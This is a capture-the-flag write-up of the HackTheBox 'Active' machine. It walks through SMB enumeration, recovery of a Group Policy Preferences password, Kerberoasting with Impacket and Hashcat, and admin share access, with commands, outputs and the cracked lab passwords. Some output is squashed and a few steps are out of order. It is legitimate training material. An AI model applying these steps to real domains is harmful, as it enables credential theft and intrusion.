Active is an easy-rated Windows machine from HackTheBox, created by eks and mrb3n. In the current post, my IP is 10.10.14.210, and the target IP is 10.129.38.41
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
Local Terminal
ping-c110.129.38.41
PING10.129.38.41 (10.129.38.41) 56(84) bytes of data.64bytesfrom10.129.38.41:icmp_seq=1ttl=63time=202ms---10.129.38.41pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=202.335/202.335/202.335/0.000ms
Nmapscanreportfor10.129.38.41Hostisup (0.17s latency).PORTSTATESERVICEVERSION53/tcpopendomainMicrosoftDNS6.1.7601 (1DB15D39) (WindowsServer2008R2SP1)|dns-nsid:|_bind.version:MicrosoftDNS6.1.7601 (1DB15D39)88/tcpopenkerberos-secMicrosoftWindowsKerberos (server time:2024-08-2621:17:41Z)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcpopenmicrosoft-ds?464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.0636/tcpopentcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcpopentcpwrapped5722/tcpopenmsrpcMicrosoftWindowsRPC9389/tcpopenmc-nmf.NETMessageFraming47001/tcpopenhttpMicrosoftHTTPAPIhttpd2.0 (SSDP/UPnP)|_http-server-header:Microsoft-HTTPAPI/2.0|_http-title:NotFound49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49157/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.049158/tcpopenmsrpcMicrosoftWindowsRPC49162/tcpopenmsrpcMicrosoftWindowsRPC49166/tcpopenmsrpcMicrosoftWindowsRPC49168/tcpopenmsrpcMicrosoftWindowsRPCServiceInfo:Host:DC; OS:Windows; CPE:cpe:/o:microsoft:windows_server_2008:r2:sp1,cpe:/o:microsoft:windowsHostscriptresults:|smb2-security-mode:|2.02:|_Messagesigningenabledandrequired|smb2-time:|date:2024-08-26T21:18:39|_start_date:2024-08-26T18:53:23
Quite a few open ports! Normal in Windows... now, we are interested in the port that manages the SMB environment; these are ports 139 and 445. Therefore, we will use basic tools for their exploration.
SMB Enumeration
Local Terminal
enum4linux-a10.129.38.41
=================================( ShareEnumerationon10.129.38.41 )================do_connect:Connectionto10.129.38.41failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)SharenameTypeComment--------------------ADMIN$DiskRemoteAdminC$DiskDefaultshareIPC$IPCRemoteIPCNETLOGONDiskLogonservershareReplicationDiskSYSVOLDiskLogonservershareUsersDiskReconnectingwithSMB1forworkgrouplisting.UnabletoconnectwithSMB1--noworkgroupavailable[+] Attempting to map shares on 10.129.38.41//10.129.38.41/ADMIN$Mapping:DENIEDListing:N/AWriting:N/A//10.129.38.41/C$Mapping:DENIEDListing:N/AWriting:N/A//10.129.38.41/IPC$Mapping:OKListing:DENIEDWriting:N/A//10.129.38.41/NETLOGONMapping:DENIEDListing:N/AWriting:N/A//10.129.38.41/ReplicationMapping:OKListing:OKWriting:N/A//10.129.38.41/SYSVOLMapping:DENIEDListing:N/AWriting:N/A//10.129.38.41/UsersMapping:DENIEDListing:N/AWriting:N/A
The only relevant information comes from "Share Enumeration," where we list the shared resources and determine which ones are visible to the Anonymous user; in this case, it is "Replication." Now, we will review it using smbclient or smbmap.
Exploring Replication
With smbclient, you can explore manually, but with smbmap, you can recursively extract all the files that you have permission to read.
Local Terminal
smbclient//10.129.38.41/Replication-U""%""
Local Terminal
smbmap-H10.129.38.41-sReplication-r--depth10
./Replication dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018active.htb ./Replication//active.htb dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 DfsrPrivate dr--r--r--0 Sat Jul 2110:37:442018 Policies dr--r--r--0 Sat Jul 2110:37:442018 scripts ./Replication//active.htb/DfsrPrivate dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 ConflictAndDeleted dr--r--r--0 Sat Jul 2110:37:442018 Deleted dr--r--r--0 Sat Jul 2110:37:442018 Installing ./Replication//active.htb/Policies dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 {31B2F340-016D-11D2-945F-00C04FB984F9} dr--r--r--0 Sat Jul 2110:37:442018 {6AC1786C-016F-11D2-945F-00C04fB984F9} ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9} dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--23 Sat Jul 2110:38:112018GPT.INI dr--r--r--0 Sat Jul 2110:37:442018 Group Policy dr--r--r--0 Sat Jul 2110:37:442018MACHINE dr--r--r--0 Sat Jul 2110:37:442018USER ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--119 Sat Jul 2110:38:112018GPE.INI ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 Microsoft dr--r--r--0 Sat Jul 2110:37:442018 Preferences fr--r--r--2788 Sat Jul 2110:38:112018Registry.pol ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 Windows NT ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 SecEdit ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--1098 Sat Jul 2110:38:112018GptTmpl.inf ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 Groups ./Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--533 Sat Jul 2110:38:112018Groups.xml ./Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9} dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--22 Sat Jul 2110:38:112018GPT.INI dr--r--r--0 Sat Jul 2110:37:442018MACHINE dr--r--r--0 Sat Jul 2110:37:442018USER ./Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 Microsoft ./Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 Windows NT ./Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. dr--r--r--0 Sat Jul 2110:37:442018 SecEdit ./Replication//active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit dr--r--r--0 Sat Jul 2110:37:442018 . dr--r--r--0 Sat Jul 2110:37:442018 .. fr--r--r--3722 Sat Jul 2110:38:112018GptTmpl.inf
From the entire list of folders and files, the only thing that seems relevant is "Groups.xml." Let's access and explore the file.
The Groups.xml file appears to be a log document created when a user is added with a group related to Group Policy Preferences (GPP). This is valuable information because, in this context, to use the active.htb user, we need to decrypt the password.
Password Decryption
Since it is a cpassword from GPP (Group Policy Preferences), we can use the following method to decrypt it:
[+] IP: 10.129.38.41:445 Name: 10.129.38.41 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
From this list, "Users" seems to be the most interesting... As usual, the flag is likely to be on the desktop. It is important to keep in mind that to log in, you need to use the group associated with the password. In this case, the group is "SVC_TGS."
Within the Impacket suite, there's a script called GetUserSPNs.py that is very useful for finding users vulnerable to Kerberoasting. This attack targets Service Principal Names (SPNs) associated with user accounts in Active Directory that are used for Kerberos authentication. {password: GPPstillStandingStrong2k18}
Now we just need to decrypt the hash. The good news is that the script outputs the data in a format compatible with Hashcat, making it easier to crack the hash.
Great! With the password "Ticketmaster1968," we can now check what the admin account has access to—potentially everything. The next step is to access the SMB share and extract the flag.
[+] IP: 10.129.38.41:445Name: 10.129.38.41 Status: ADMIN!!!
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ, WRITE Logon server share
Replication READ ONLY
SYSVOL READ, WRITE Logon server share
Users READ ONLY
With admin status confirmed, you have elevated privileges. When exploring the SMB shares, the $C share represents the root of the C: drive, which is indeed the most important and often contains critical files, including potential flags or sensitive information.
With the credentials confirmed as valid, you can use them to gain shell access on the target system. Given the password "Ticketmaster1968," you can attempt to connect via different methods like SMB or WinRM to obtain a shell.